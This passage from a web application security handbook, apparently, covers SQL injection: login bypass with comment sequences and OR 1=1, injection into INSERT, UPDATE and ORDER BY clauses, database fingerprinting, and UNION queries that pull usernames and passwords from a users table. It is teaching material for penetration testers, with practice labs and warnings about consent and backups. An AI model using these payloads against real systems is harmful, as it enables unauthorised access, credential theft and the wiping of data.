CHAPTER 9

Attacking Data Stores

Nearly all applications rely on a data store to manage data that is processed within the application. In many cases this data drives the core application logic, holding user accounts, permissions, application configuration settings, and more. Data stores have evolved to become significantly more than passive containers for data. Most hold data in a structured format, accessed using a predefined query format or language, and contain internal logic to help manage that data.

Typically, applications use a common privilege level for all types of access to the data store and when processing data belonging to different application users. If an attacker can interfere with the application's interaction with the data store, to make it retrieve or modify different data, he can usually bypass any controls over data access that are imposed at the application layer.

The principle just described can be applied to any kind of data store technology. Because this is a practical handbook, we will focus on the knowledge and techniques you need to exploit the vulnerabilities that exist in real-world applications. By far the most common data stores are SQL databases, XML-based repositories, and LDAP directories. Practical examples seen elsewhere are also covered.

In covering these key examples, we will describe the practical steps that you can take to identify and exploit these defects. There is a conceptual synergy in the process of understanding each new type of injection. Having grasped the essentials of exploiting these manifestations of the flaw, you should be confident that you can draw on this understanding when you encounter a new category

of injection. Indeed, you should be able to devise additional means of attacking those that others have already studied.

Injecting into Interpreted Contexts

An interpreted language is one whose execution involves a runtime component that interprets the language's code and carries out the instructions it contains. In contrast, a compiled language is one whose code is converted into machine instructions at the time of generation. At runtime, these instructions are executed directly by the processor of the computer that is running it.

In principle, any language can be implemented using either an interpreter or a compiler, and the distinction is not an inherent property of the language itself. Nevertheless, most languages normally are implemented in only one of these two ways, and many of the core languages used to develop web applications are implemented using an interpreter, including SQL, LDAP, Perl, and PHP.

Because of how interpreted languages are executed, a family of vulnerabilities known as *code injection* arises. In any useful application, user-supplied data is received, manipulated, and acted on. Therefore, the code that the interpreter processes is a mix of the instructions written by the programmer and the data supplied by the user. In some situations, an attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special significance within the grammar of the interpreted language being used. The result is that part of this input gets interpreted as program instructions, which are executed in the same way as if they had been written by the original programmer. Often, therefore, a successful attack fully compromises the component of the application that is being targeted.

In native compiled languages, on the other hand, attacks designed to execute arbitrary commands are usually very different. The method of injecting code normally does not leverage any syntactic feature of the language used to develop the target program, and the injected payload usually contains machine code rather than instructions written in that language. See Chapter 16 for details of common attacks against native compiled software.

Bypassing a Login

The process by which an application accesses a data store usually is the same, regardless of whether that access was triggered by the actions of an unprivileged user or an application administrator. The web application functions as a discretionary access control to the data store, constructing queries to retrieve, add, or modify data in the data store based on the user's account and type. A successful injection attack that modifies a query (and not merely the data

within the query) can bypass the application's discretionary access controls and gain unauthorized access.

If security-sensitive application logic is controlled by the results of a query, an attacker can potentially modify the query to alter the application's logic. Let's look at a typical example where a back-end data store is queried for records in a user table that match the credentials that a user supplied. Many applications that implement a forms-based login function use a database to store user credentials and perform a simple SQL query to validate each login attempt. Here is a typical example:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

This query causes the database to check every row within the users table and extract each record where the `username` column has the value `marcus` and the `password` column has the value `secret`. If a user's details are returned to the application, the login attempt is successful, and the application creates an authenticated session for that user.

In this situation, an attacker can inject into either the username or the password field to modify the query performed by the application and thereby subvert its logic. For example, if an attacker knows that the username of the application administrator is `admin`, he can log in as that user by supplying any password and the following username:

```
admin'--
```

This causes the application to perform the following query:

```
SELECT * FROM users WHERE username = 'admin'--' AND password = 'foo'
```

Note that the comment sequence (`--`) causes the remainder of the query to be ignored, and so the query executed is equivalent to:

```
SELECT * FROM users WHERE username = 'admin'
```

so the password check is bypassed.

TRY IT!

`http://mdsec.net/auth/319/`

Suppose that the attacker does not know the administrator's username. In most applications, the first account in the database is an administrative user, because this account normally is created manually and then is used to generate

all other accounts via the application. Furthermore, if the query returns the details for more than one user, most applications will simply process the first user whose details are returned. An attacker can often exploit this behavior to log in as the first user in the database by supplying the username:

```
' OR 1=1--
```

This causes the application to perform the query:

```
SELECT * FROM users WHERE username = '' OR 1=1--' AND password = 'foo'
```

Because of the comment symbol, this is equivalent to:

```
SELECT * FROM users WHERE username = '' OR 1=1
```

which returns the details of all application users.

NOTE **Injecting into an interpreted context to alter application logic is a generic attack technique. A corresponding vulnerability could arise in LDAP queries, XPath queries, message queue implementations, or indeed any custom query language.**

HACK STEPS

Injection into interpreted languages is a broad topic, encompassing many different kinds of vulnerabilities and potentially affecting every component of a web application's supporting infrastructure. The detailed steps for detecting and exploiting code injection flaws depend on the language that is being targeted and the programming techniques employed by the application's developers. In every instance, however, the generic approach is as follows:

1. **Supply unexpected syntax that may cause problems within the context of the particular interpreted language.**
2. **Identify any anomalies in the application's response that may indicate the presence of a code injection vulnerability.**
3. **If any error messages are received, examine these to obtain evidence about the problem that occurred on the server.**
4. **If necessary, systematically modify your initial input in relevant ways in an attempt to confirm or disprove your tentative diagnosis of a vulnerability.**
5. **Construct a proof-of-concept test that causes a safe command to be executed in a verifiable way, to conclusively prove that an exploitable code injection flaw exists.**
6. **Exploit the vulnerability by leveraging the functionality of the target language and component to achieve your objectives.**

Injecting into SQL

Almost every web application employs a database to store the various kinds of information it needs to operate. For example, a web application deployed by an online retailer might use a database to store the following information:

- User accounts, credentials, and personal information
- Descriptions and prices of goods for sale
- Orders, account statements, and payment details
- The privileges of each user within the application

The means of accessing information within the database is Structured Query Language (SQL). SQL can be used to read, update, add, and delete information held within the database.

SQL is an interpreted language, and web applications commonly construct SQL statements that incorporate user-supplied data. If this is done in an unsafe way, the application may be vulnerable to SQL injection. This flaw is one of the most notorious vulnerabilities to have afflicted web applications. In the most serious cases, SQL injection can enable an anonymous attacker to read and modify all data stored within the database, and even take full control of the server on which the database is running.

As awareness of web application security has evolved, SQL injection vulnerabilities have become gradually less widespread and more difficult to detect and exploit. Many modern applications avoid SQL injection by employing APIs that, if properly used, are inherently safe against SQL injection attacks. In these circumstances, SQL injection typically occurs in the occasional cases where these defense mechanisms cannot be applied. Finding SQL injection is sometimes a difficult task, requiring perseverance to locate the one or two instances in an application where the usual controls have not been applied.

As this trend has developed, methods for finding and exploiting SQL injection flaws have evolved, using more subtle indicators of vulnerabilities, and more refined and powerful exploitation techniques. We will begin by examining the most basic cases and then go on to describe the latest techniques for blind detection and exploitation.

A wide range of databases are employed to support web applications. Although the fundamentals of SQL injection are common to the vast majority of these, there are many differences. These range from minor variations in syntax to significant divergences in behavior and functionality that can affect the types of attacks you can pursue. For reasons of space and sanity, we will restrict our examples to the three most common databases you are likely to encounter — Oracle, MS-SQL, and MySQL. Wherever applicable, we will draw attention to the differences between these three platforms. Equipped with the techniques we describe here,

you should be able to identify and exploit SQL injection flaws against any other database by performing some quick additional research.

TIP **In many situations, you will find it extremely useful to have access to a local installation of the same database that is being used by the application you are targeting. You will often find that you need to tweak a piece of syntax, or consult a built-in table or function, to achieve your objectives. The responses you receive from the target application will often be incomplete or cryptic, requiring some detective work to understand. All of this is much easier if you can cross-reference with a fully transparent working version of the database in question.**

If this is not feasible, a good alternative is to find a suitable interactive online environment that you can experiment on, such as the interactive tutorials at `SQLzoo.net`.

Exploiting a Basic Vulnerability

Consider a web application deployed by a book retailer that enables users to search for products by author, title, publisher, and so on. The entire book catalog is held within a database, and the application uses SQL queries to retrieve details of different books based on the search terms supplied by users.

When a user searches for all books published by Wiley, the application performs the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' and
published=1
```

This query causes the database to check every row within the books table, extract each of the records where the `publisher` column has the value `Wiley` and `published` has the value `1`, and return the set of all these records. The application then processes this record set and presents it to the user within an HTML page.

In this query, the words to the left of the equals sign are SQL keywords and the names of tables and columns within the database. This portion of the query was constructed by the programmer when the application was created. The expression `Wiley` is supplied by the user, and its significance is as an item of data. String data in SQL queries must be encapsulated within single quotation marks to separate it from the rest of the query.

Now, consider what happens when a user searches for all books published by O'Reilly. This causes the application to perform the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'O'Reilly' and
published=1
```

In this case, the query interpreter reaches the string data in the same way as before. It parses this data, which is encapsulated within single quotation marks, and obtains the value `O`. It then encounters the expression `Reilly'`, which is not valid SQL syntax, and therefore generates an error:

```
Incorrect syntax near 'Reilly'.
Server: Msg 105, Level 15, State 1, Line 1
Unclosed quotation mark before the character string '
```

When an application behaves in this way, it is wide open to SQL injection. An attacker can supply input containing a quotation mark to terminate the string he controls. Then he can write arbitrary SQL to modify the query that the developer intended the application to execute. In this situation, for example, the attacker can modify the query to return every book in the retailer's catalog by entering this search term:

```
Wiley' OR 1=1--
```

This causes the application to perform the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' OR
 1=1--' and published=1
```

This modifies the `WHERE` clause of the developer's query to add a second condition. The database checks every row in the books table and extracts each record where the `publisher` column has the value `Wiley` *or* where 1 is equal to 1. Because 1 always equals 1, the database returns every record in the books table.

The double hyphen in the attacker's input is a meaningful expression in SQL that tells the query interpreter that the remainder of the line is a comment and should be ignored. This trick is extremely useful in some SQL injection attacks, because it enables you to ignore the remainder of the query created by the application developer. In the example, the application encapsulates the user-supplied string in single quotation marks. Because the attacker has terminated the string he controls and injected some additional SQL, he needs to handle the trailing quotation mark to avoid a syntax error, as in the O'Reilly example. He achieves this by adding a double hyphen, causing the remainder of the query to be treated as a comment. In MySQL, you need to include a space after the double hyphen, or use a hash character to specify a comment.

The original query also controlled access to only published books, because it specified `and published=1`. By injecting the comment sequence, the attacker has gained unauthorized access by returning details of all books, published or otherwise.

TIP In some situations, an alternative way to handle the trailing quotation mark without using the comment symbol is to "balance the quotes." You finish the injected input with an item of string data that requires a trailing quote to encapsulate it. For example, entering the search term:

```
Wiley' OR 'a' = 'a
```

results in the query:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley' OR
 'a'='a' and published=1
```

This is perfectly valid and achieves the same result as the `1 = 1` attack to return all books published by Wiley, regardless of whether they have been published.

This example shows how application logic can be bypassed, allowing an access control flaw in which the attacker can view all books, not just books matching the allowed filter (showing published books). However, we will describe shortly how SQL injection flaws like this can be used to extract arbitrary data from different database tables and to escalate privileges within the database and the database server. For this reason, any SQL injection vulnerability should be regarded as extremely serious, regardless of its precise context within the application's functionality.

Injecting into Different Statement Types

The SQL language contains a number of verbs that may appear at the beginning of statements. Because it is the most commonly used verb, the majority of SQL injection vulnerabilities arise within `SELECT` statements. Indeed, discussions about SQL injection often give the impression that the vulnerability occurs only in connection with `SELECT` statements, because the examples used are all of this type. However, SQL injection flaws can exist within any type of statement. You need to be aware of some important considerations in relation to each.

Of course, when you are interacting with a remote application, it usually is not possible to know in advance what type of statement a given item of user input will be processed by. However, you can usually make an educated guess based on the type of application function you are dealing with. The most common types of SQL statements and their uses are described here.

SELECT Statements

`SELECT` statements are used to retrieve information from the database. They are frequently employed in functions where the application returns information in response to user actions, such as browsing a product catalog, viewing a user's

profile, or performing a search. They are also often used in login functions where user-supplied information is checked against data retrieved from a database.

As in the previous examples, the entry point for SQL injection attacks normally is the query's `WHERE` clause. User-supplied items are passed to the database to control the scope of the query's results. Because the `WHERE` clause is usually the final component of a `SELECT` statement, this enables the attacker to use the comment symbol to truncate the query to the end of his input without invalidating the syntax of the overall query.

Occasionally, SQL injection vulnerabilities occur that affect other parts of the `SELECT` query, such as the `ORDER BY` clause or the names of tables and columns.

TRY IT!

```
http://mdsec.net/addressbook/32/
```

INSERT Statements

`INSERT` statements are used to create a new row of data within a table. They are commonly used when an application adds a new entry to an audit log, creates a new user account, or generates a new order.

For example, an application may allow users to self-register, specifying their own username and password, and may then insert the details into the `users` table with the following statement:

```
INSERT INTO users (username, password, ID, privs) VALUES ('daf',
'secret', 2248, 1)
```

If the `username` or `password` field is vulnerable to SQL injection, an attacker can insert arbitrary data into the table, including his own values for `ID` and `privs`. However, to do so he must ensure that the remainder of the `VALUES` clause is completed gracefully. In particular, it must contain the correct number of data items of the correct types. For example, injecting into the `username` field, the attacker can supply the following:

```
foo', 'bar', 9999, 0)--
```

This creates an account with an `ID` of 9999 and `privs` of 0. Assuming that the `privs` field is used to determine account privileges, this may enable the attacker to create an administrative user.

In some situations, when working completely blind, injecting into an `INSERT` statement may enable an attacker to extract string data from the application. For example, the attacker could grab the version string of the database and insert this into a field within his own user profile, which can be displayed back to his browser in the normal way.

TIP When attempting to inject into an `INSERT` statement, you may not know in advance how many parameters are required, or what their types are. In the preceding situation, you can keep adding fields to the `VALUES` clause until the desired user account is actually created. For example, when injecting into the `username` field, you could submit the following:

```
foo')--
foo', 1)--
foo', 1, 1)--
foo', 1, 1, 1)--
```

Because most databases implicitly cast an integer to a string, an integer value can be used at each position. In this case the result is an account with a username of `foo` and a password of `1`, regardless of which order the other fields are in.

If you find that the value `1` is still rejected, you can try the value `2000`, which many databases also implicitly cast to date-based data types.

When you have determined the correct number of fields following the injection point, on MS-SQL you can add a second arbitrary query and use one of the inference-based techniques described later in this chapter.

In Oracle, a subselect query can be issued within an insert query. This subselect query can cause a success or failure of the main query, using the inference-based techniques described later.

TRY IT!

```
http://mdsec.net/addressbook/12/
```

UPDATE Statements

`UPDATE` statements are used to modify one or more existing rows of data within a table. They are often used in functions where a user changes the value of data that already exists — for example, updating her contact information, changing her password, or changing the quantity on a line of an order.

A typical `UPDATE` statement works much like an `INSERT` statement, except that it usually contains a `WHERE` clause to tell the database which rows of the table to update. For example, when a user changes her password, the application might perform the following query:

```
UPDATE users SET password='newsecret' WHERE user = 'marcus' and password
= 'secret'
```

This query in effect verifies whether the user's existing password is correct and, if so, updates it with the new value. If the function is vulnerable to SQL

injection, an attacker can bypass the existing password check and update the password of the admin user by entering the following username:

```
admin'--
```

NOTE **Probing for SQL injection vulnerabilities in a remote application is always potentially dangerous, because you have no way of knowing in advance quite what action the application will perform using your crafted input. In particular, modifying the `WHERE` clause in an `UPDATE` statement can cause changes to be made throughout a critical table of the database. For example, if the attack just described had instead supplied the username:**

```
admin' or 1=1--
```

this would cause the application to execute the query:

```
UPDATE users SET password='newsecret' WHERE user = 'admin' or
1=1
```

This resets the value of every user's password, because 1 always equals 1! Be aware that this risk exists even when you attack an application function that does not appear to update any existing data, such as the main login. There have been cases where, following a successful login, the application performs various `UPDATE` queries using the supplied username. This means that any attack on the `WHERE` clause may be replicated in these other statements, potentially wreaking havoc within the profiles of all application users. You should ensure that the application owner accepts these unavoidable risks before attempting to probe for or exploit any SQL injection flaws. You should also strongly encourage the owner to perform a full database backup before you begin testing.

TRY IT!

```
http://mdsec.net/addressbook/27/
```

DELETE Statements

`DELETE` statements are used to delete one or more rows of data within a table, such as when users remove an item from their shopping basket or delete a delivery address from their personal details.

As with `UPDATE` statements, a `WHERE` clause normally is used to tell the database which rows of the table to update. User-supplied data is most likely to be incorporated into this clause. Subverting the intended `WHERE` clause can have

far-reaching effects, so the same caution described for `UPDATE` statements applies to this attack.

Finding SQL Injection Bugs

In the most obvious cases, a SQL injection flaw may be discovered and conclusively verified by supplying a single item of unexpected input to the application. In other cases, bugs may be extremely subtle and may be difficult to distinguish from other categories of vulnerability or from benign anomalies that do not present a security threat. Nevertheless, you can carry out various steps in an ordered way to reliably verify the majority of SQL injection flaws.

NOTE **In your application mapping exercises (see Chapter 4), you should have identified instances where the application appears to be accessing a back-end database. All of these need to be probed for SQL injection flaws. In fact, absolutely any item of data submitted to the server may be passed to database functions in ways that are not evident from the user's perspective and may be handled in an unsafe manner. Therefore, you need to probe every such item for SQL injection vulnerabilities. This includes all URL parameters, cookies, items of `POST` data, and HTTP headers. In all cases, a vulnerability may exist in the handling of both the name and value of the relevant parameter.**

TIP **When you are probing for SQL injection vulnerabilities, be sure to walk through to completion any multistage processes in which you submit crafted input. Applications frequently gather a collection of data across several requests, and they persist this to the database only after the complete set has been gathered. In this situation, you will miss many SQL injection vulnerabilities if you only submit crafted data within each individual request and monitor the application's response to that request.**

Injecting into String Data

When user-supplied string data is incorporated into a SQL query, it is encapsulated within single quotation marks. To exploit any SQL injection flaw, you need to break out of these quotation marks.

HACK STEPS

1. **Submit a single quotation mark as the item of data you are targeting. Observe whether an error occurs, or whether the result differs from the original in any other way. If a detailed database error message is received, consult the "SQL Syntax and Error Reference" section of this chapter to understand its meaning.**

2. If an error or other divergent behavior was observed, submit two single quotation marks together. Databases use two single quotation marks as an escape sequence to represent a literal single quote, so the sequence is interpreted as data within the quoted string rather than the closing string terminator. If this input causes the error or anomalous behavior to disappear, the application is probably vulnerable to SQL injection.
3. As a further verification that a bug is present, you can use SQL concatenator characters to construct a string that is equivalent to some benign input. If the application handles your crafted input in the same way as it does the corresponding benign input, it is likely to be vulnerable. Each type of database uses different methods for string concatenation. The following examples can be injected to construct input that is equivalent to `FOO` in a vulnerable application:
   - Oracle: `'||'FOO`
   - MS-SQL: `'+'FOO`
   - MySQL: `' 'FOO` (note the space between the two quotes)

TIP One way of confirming that the application is interacting with a back-end database is to submit the SQL wildcard character `%` in a given parameter. For example, submitting this in a search field often returns a large number of results, indicating that the input is being passed into a SQL query. Of course, this does not necessarily indicate that the application is vulnerable — only that you should probe further to identify any actual flaws.

TIP While looking for SQL injection using a single quote, keep an eye out for any JavaScript errors occurring when your browser processes the returned page. It is fairly common for user-supplied input to be returned within JavaScript, and an unsanitized single quote will cause an error in the JavaScript interpreter, just as it does in the SQL interpreter. The ability to inject arbitrary JavaScript into responses allows cross-site scripting attacks, as described in Chapter 12.

Injecting into Numeric Data

When user-supplied numeric data is incorporated into a SQL query, the application may still handle this as string data by encapsulating it within single quotation marks. Therefore, you should always follow the steps described previously for string data. In most cases, however, numeric data is passed directly to the database in numeric form and therefore is not placed within single quotation marks. If none of the previous tests points toward the presence of a vulnerability, you can take some other specific steps in relation to numeric data.

HACK STEPS

1. Try supplying a simple mathematical expression that is equivalent to the original numeric value. For example, if the original value is 2, try submitting 1+1 or 3-1. If the application responds in the same way, it *may* be vulnerable.
2. The preceding test is most reliable in cases where you have confirmed that the item being modified has a noticeable effect on the application's behavior. For example, if the application uses a numeric `PageID` parameter to specify which content should be returned, substituting 1+1 for 2 with equivalent results is a good sign that SQL injection is present. However, if you can place arbitrary input into a numeric parameter without changing the application's behavior, the preceding test provides no evidence of a vulnerability.
3. If the first test is successful, you can obtain further evidence of the vulnerability by using more complicated expressions that use SQL-specific keywords and syntax. A good example of this is the `ASCII` command, which returns the numeric ASCII code of the supplied character. For example, because the ASCII value of A is 65, the following expression is equivalent to 2 in SQL:

```
67-ASCII('A')
```

4. The preceding test will not work if single quotes are being filtered. However, in this situation you can exploit the fact that databases implicitly convert numeric data to string data where required. Hence, because the ASCII value of the character 1 is 49, the following expression is equivalent to 2 in SQL:

```
51-ASCII(1)
```

TIP A common mistake when probing an application for defects such as SQL injection is to forget that certain characters have special meaning within HTTP requests. If you want to include these characters within your attack payloads, you must be careful to URL-encode them to ensure that they are interpreted in the way you intend. In particular:

- `&` and `=` are used to join name/value pairs to create the query string and the block of `POST` data. You should encode them using `%26` and `%3d`, respectively.
- Literal spaces are not allowed in the query string. If they are submitted, they will effectively terminate the entire string. You should encode them using `+` or `%20`.
- Because `+` is used to encode spaces, if you want to include an actual `+` in your string, you must encode it using `%2b`. In the previous numeric example, therefore, `1+1` should be submitted as `1%2b1`.

- **The semicolon is used to separate cookie fields and should be encoded using `%3b`.**

These encodings are necessary whether you are editing the parameter's value directly from your browser, with an intercepting proxy, or through any other means. If you fail to encode problem characters correctly, you may invalidate the entire request or submit data you did not intend to.

The steps just described generally are sufficient to identify the majority of SQL injection vulnerabilities, including many of those where no useful results or error information are transmitted back to the browser. In some cases, however, more advanced techniques may be necessary, such as the use of time delays to confirm the presence of a vulnerability. We will describe these techniques later in this chapter.

Injecting into the Query Structure

If user-supplied data is being inserted into the structure of the SQL query itself, rather than an item of data within the query, exploiting SQL injection simply involves directly supplying valid SQL syntax. No "escaping" is required to break out of any data context.

The most common injection point within the SQL query structure is within an `ORDER BY` clause. The `ORDER BY` keyword takes a column name or number and orders the result set according to the values in that column. This functionality is frequently exposed to the user to allow sorting of a table within the browser.

A typical example is a sortable table of books that is retrieved using this query:

```
SELECT author, title, year FROM books WHERE publisher = 'Wiley' ORDER BY
title ASC
```

If the column name `title` in the `ORDER BY` is specified by the user, it is not necessary to use a single quote. The user-supplied data already directly modifies the structure of the SQL query.

TIP In some rarer cases, user-supplied input may specify a column name within a `WHERE` clause. Because these are also not encapsulated in single quotes, a similar issue occurs. The authors have also encountered applications where the table name has been a user-supplied parameter. Finally, a surprising number of applications expose the sort order keyword (`ASC` or `DESC`) to be specified by the user, perhaps believing that this has no consequence for SQL injection attacks.

Finding SQL injection in a column name can be difficult. If a value is supplied that is not a valid column name, the query results in an error. This means that the response will be the same regardless of whether the attacker submits a

path traversal string, single quote, double quote, or any other arbitrary string. Therefore, common techniques for both automated fuzzing and manual testing are liable to overlook the vulnerability. The standard test strings for numerous kinds of vulnerabilities will all cause the same response, which may not itself disclose the nature of the error.

NOTE **Some conventional SQL injection defenses described later in this chapter cannot be implemented for user-specified column names. Using prepared statements or escaping single quotes will not prevent this type of SQL injection. As a result, this vector is a key one to look out for in modern applications.**

HACK STEPS

1. **Make a note of any parameters that appear to control the order or field types within the results that the application returns.**
2. **Make a series of requests supplying a numeric value in the parameter value, starting with the number `1` and incrementing it with each subsequent request:**
   - **If changing the number in the input affects the ordering of the results, the input is probably being inserted into an `ORDER BY` clause. In SQL, `ORDER BY 1` orders by the first column. Increasing this number to `2` should then change the display order of data to order by the second column. If the number supplied is greater than the number of columns in the result set, the query should fail. In this situation, you can confirm that further SQL can be injected by checking whether the results order can be reversed, using the following:**

     ```
     1 ASC --
     1 DESC --
     ```

   - **If supplying the number `1` causes a set of results with a column containing a `1` in every row, the input is probably being inserted into the name of a column being returned by the query. For example:**

     ```
     SELECT 1,title,year FROM books WHERE publisher='Wiley'
     ```

NOTE **Exploiting SQL injection in an `ORDER BY` clause is significantly different from most other cases. A database will not accept a `UNION`, `WHERE`, `OR`, or `AND` keyword at this point in the query. Generally exploitation requires the attacker to specify a nested query in place of the parameter, such as replacing the column name with `(select 1 where <<condition>> or 1/0=0)`, thereby leveraging the inference techniques described later in this chapter. For databases that support batched queries such as MS-SQL, this can be the most efficient option.**

Fingerprinting the Database

Most of the techniques described so far are effective against all the common database platforms, and any divergences have been accommodated through minor adjustments to syntax. However, as we begin to look at more advanced exploitation techniques, the differences between platforms become more significant, and you will increasingly need to know which type of back-end database you are dealing with.

You have already seen how you can extract the version string of the major database types. Even if this cannot be done for some reason, it is usually possible to fingerprint the database using other methods. One of the most reliable is the different means by which databases concatenate strings. In a query where you control some item of string data, you can supply a particular value in one request and then test different methods of concatenation to produce that string. When the same results are obtained, you have probably identified the type of database being used. The following examples show how the string `services` could be constructed on the common types of database:

- **Oracle:** `'serv'||'ices'`
- **MS-SQL:** `'serv'+'ices'`
- **MySQL:** `'serv' 'ices'` (note the space)

If you are injecting into numeric data, the following attack strings can be used to fingerprint the database. Each of these items evaluates to 0 on the target database and generates an error on the other databases:

- **Oracle:** `BITAND(1,1)-BITAND(1,1)`
- **MS-SQL:** `@@PACK_RECEIVED-@@PACK_RECEIVED`
- **MySQL:** `CONNECTION_ID()-CONNECTION_ID()`

NOTE **The MS-SQL and Sybase databases share a common origin, so they have many similarities in relation to table structure, global variables, and stored procedures. In practice, the majority of the attack techniques against MS-SQL described in later sections will work in an identical way against Sybase.**

A further point of interest when fingerprinting databases is how MySQL handles certain types of inline comments. If a comment begins with an exclamation point followed by a database version string, the contents of the comment are interpreted as actual SQL, provided that the version of the actual database is equal to or later than that string. Otherwise, the contents are ignored and treated as a comment. Programmers can use this facility much like preprocessor directives in C, enabling them to write different code that will be processed

conditionally upon the database version being used. An attacker also can use this facility to fingerprint the exact version of the database. For example, injecting the following string causes the `WHERE` clause of a `SELECT` statement to be false if the MySQL version in use is greater than or equal to 3.23.02:

```
/*!32302 and 1=0*/
```

The UNION Operator

The `UNION` operator is used in SQL to combine the results of two or more `SELECT` statements into a single result set. When a web application contains a SQL injection vulnerability that occurs in a `SELECT` statement, you can often employ the `UNION` operator to perform a second, entirely separate query, and combine its results with those of the first. If the results of the query are returned to your browser, this technique can be used to easily extract arbitrary data from within the database. `UNION` is supported by all major DBMS products. It is the quickest way to retrieve arbitrary information from the database in situations where query results are returned directly.

Recall the application that enabled users to search for books based on author, title, publisher, and other criteria. Searching for books published by Wiley causes the application to perform the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley'
```

Suppose that this query returns the following set of results:

AUTHOR	TITLE	YEAR
Litchfield	The Database Hacker's Handbook	2005
Anley	The Shellcoder's Handbook	2007

You saw earlier how an attacker could supply crafted input to the search function to subvert the query's `WHERE` clause and therefore return all the books held within the database. A far more interesting attack would be to use the `UNION` operator to inject a second `SELECT` query and append its results to those of the first. This second query can extract data from a different database table. For example, entering the search term:

```
Wiley' UNION SELECT username,password,uid FROM users--
```

causes the application to perform the following query:

```
SELECT author,title,year FROM books WHERE publisher = 'Wiley'
UNION SELECT username,password,uid FROM users--'
```

This returns the results of the original search followed by the contents of the users table:

AUTHOR	TITLE	YEAR
Litchfield	The Database Hacker's Handbook	2005
Anley	The Shellcoder's Handbook	2007
admin	r00tr0x	0
cliff	Reboot	1

NOTE When the results of two or more `SELECT` queries are combined using the `UNION` operator, the column names of the combined result set are the same as those returned by the first `SELECT` query. As shown in the preceding table, usernames appear in the `author` column, and passwords appear in the `title` column. This means that when the application processes the results of the modified query, it has no way of detecting that the data returned has originated from a different table.

This simple example demonstrates the potentially huge power of the `UNION` operator when employed in a SQL injection attack. However, before it can be exploited in this way, two important provisos need to be considered:

- When the results of two queries are combined using the `UNION` operator, the two result sets must have the same structure. In other words, they must contain the same number of columns, which have the same or compatible data types, appearing in the same order.
- To inject a second query that will return interesting results, the attacker needs to know the name of the database table that he wants to target, and the names of its relevant columns.

Let's look a little deeper at the first of these provisos. Suppose that the attacker attempts to inject a second query that returns an incorrect number of columns. He supplies this input:

```
Wiley' UNION SELECT username,password FROM users--
```

The original query returns three columns, and the injected query returns only two columns. Hence, the database returns the following error:

```
ORA-01789: query block has incorrect number of result columns
```

Suppose instead that the attacker attempts to inject a second query whose columns have incompatible data types. He supplies this input:

```
Wiley' UNION SELECT uid,username,password FROM users--
```

This causes the database to attempt to combine the password column from the second query (which contains string data) with the year column from the first query (which contains numeric data). Because string data cannot be converted into numeric data, this causes an error:

```
ORA-01790: expression must have same datatype as corresponding expression
```

NOTE **The error messages shown here are for Oracle. The equivalent messages for other databases are listed in the later section "SQL Syntax and Error Reference."**

In many real-world cases, the database error messages shown are trapped by the application and are not be returned to the user's browser. It may appear, therefore, that in attempting to discover the structure of the first query, you are restricted to pure guesswork. However, this is not the case. Three important points mean that your task usually is easy:

- For the injected query to be capable of being combined with the first, it is not strictly necessary that it contain the same data types. Rather, they must be compatible. In other words, each data type in the second query must either be identical to the corresponding type in the first or be implicitly convertible to it. You have already seen that databases implicitly convert a numeric value to a string value. In fact, the value `NULL` can be converted to any data type. Hence, if you do not know the data type of a particular field, you can simply `SELECT NULL` for that field.
- In cases where the application traps database error messages, you can easily determine whether your injected query was executed. If it was, additional results are added to those returned by the application from its original query. This enables you to work systematically until you discover the structure of the query you need to inject.
- In most cases, you can achieve your objectives simply by identifying a single field within the original query that has a string data type. This is sufficient for you to inject arbitrary queries that return string-based data and retrieve the results, enabling you to systematically extract any desired data from the database.

HACK STEPS

Your first task is to discover the number of columns returned by the original query being executed by the application. You can do this in two ways:

1. **You can exploit the fact that `NULL` can be converted to any data type to systematically inject queries with different numbers of columns until your injected query is executed. For example:**

```
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
```

When your query is executed, you have determined the number of columns required. If the application doesn't return database error messages, you can still tell when your injected query was successful. An additional row of data will be returned, containing either the word `NULL` or an empty string. Note that the injected row may contain only empty table cells and so may be hard to see when rendered as HTML. For this reason it is preferable to look at the raw response when performing this attack.

2. Having identified the required number of columns, your next task is to discover a column that has a string data type so that you can use this to extract arbitrary data from the database. You can do this by injecting a query containing `NULL`s, as you did previously, and systematically replacing each `NULL` with `a`. For example, if you know that the query must return three columns, you can inject the following:

```
' UNION SELECT 'a', NULL, NULL--
' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
```

When your query is executed, you see an additional row of data containing the value `a`. You can then use the relevant column to extract data from the database.

NOTE In Oracle databases, every `SELECT` statement must include a `FROM` attribute, so injecting `UNION SELECT NULL` produces an error regardless of the number of columns. You can satisfy this requirement by selecting from the globally accessible table `DUAL`. For example:

```
' UNION SELECT NULL FROM DUAL--
```

When you have identified the number of columns required in your injected query, and have found a column that has a string data type, you are in a position to extract arbitrary data. A simple proof-of-concept test is to extract the version string of the database, which can be done on any DBMS. For example, if there are three columns, and the first column can take string data, you can extract the database version by injecting the following query on MS-SQL and MySQL:

```
' UNION SELECT @@version,NULL,NULL--
```

Injecting the following query achieves the same result on Oracle:

```
' UNION SELECT banner,NULL,NULL FROM v$version--
```

In the example of the vulnerable book search application, we can use this string as a search term to retrieve the version of the Oracle database:

AUTHOR	TITLE	YEAR
CORE 9.2.0.1.0 Production		
NLSRTL Version 9.2.0.1.0 - Production		
Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production		
PL/SQL Release 9.2.0.1.0 - Production		
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production		

Of course, even though the database's version string may be interesting, and may enable you to research vulnerabilities with the specific software being used, in most cases you will be more interested in extracting actual data from the database. To do this, you typically need to address the second proviso described earlier. That is, you need to know the name of the database table you want to target and the names of its relevant columns.

Extracting Useful Data

To extract useful data from the database, normally you need to know the names of the tables and columns containing the data you want to access. The main enterprise DBMSs contain a rich amount of database metadata that you can query to discover the names of every table and column within the database. The methodology for extracting useful data is the same in each case; however, the details differ on different database platforms.

Extracting Data with UNION

Let's look at an attack being performed against an MS-SQL database, but use a methodology that will work on all database technologies. Consider an address book application that allows users to maintain a list of contacts and query and update their details. When a user searches her address book for a contact named Matthew, her browser posts the following parameter:

```
Name=Matthew
```

and the application returns the following results:

